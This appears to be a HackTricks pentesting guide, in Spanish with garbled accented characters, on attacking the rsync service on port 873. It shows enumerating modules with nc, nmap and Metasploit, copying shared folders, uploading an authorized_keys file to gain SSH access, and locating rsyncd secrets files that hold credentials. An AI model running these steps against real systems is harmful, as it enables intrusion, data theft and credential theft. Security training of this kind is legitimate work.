873 - Pentesting Rsync

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informaci贸n B谩sica

De wikipedia:

rsync es una utilidad para transferir y sincronizar eficientemente archivos entre una computadora y un disco duro externo y a trav茅s de computadoras en red comparando los tiempos de modificaci贸n y tama帽os de los archivos.[3] Se encuentra com煤nmente en sistemas operativos tipo Unix. El algoritmo rsync es un tipo de codificaci贸n delta, y se utiliza para minimizar el uso de la red. Zlib puede ser utilizado para compresi贸n de datos adicional,[3] y SSH o stunnel pueden ser utilizados para seguridad.

Puerto por defecto: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeraci贸n

bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerando Carpetas Compartidas

Los m贸dulos Rsync se reconocen como comparticiones de directorios que pueden estar protegidas con contrase帽as. Para identificar los m贸dulos disponibles y verificar si requieren contrase帽as, se utilizan los siguientes comandos:

bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Tenga en cuenta que algunas comparticiones pueden no aparecer en la lista, posiblemente ocult谩ndolas. Adem谩s, el acceso a algunas comparticiones puede estar restringido a credenciales espec铆ficas, indicado por un mensaje de "Acceso Denegado".

Fuerza Bruta

Uso Manual de Rsync

Al obtener una lista de m贸dulos, las acciones dependen de si se necesita autenticaci贸n. Sin autenticaci贸n, listar y copiar archivos de una carpeta compartida a un directorio local se logra a trav茅s de:

bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Este proceso transfiere archivos recursivamente, preservando sus atributos y permisos.

Con credenciales, listar y descargar de una carpeta compartida se puede hacer de la siguiente manera, donde aparecer谩 un aviso de contrase帽a:

bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Para subir contenido, como un archivo authorized_keys para acceso, usa:

bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Para localizar el archivo de configuraci贸n de rsyncd, ejecuta:

bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Dentro de este archivo, un par谩metro de secrets file podr铆a apuntar a un archivo que contiene nombres de usuario y contrase帽as para la autenticaci贸n de rsyncd.

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks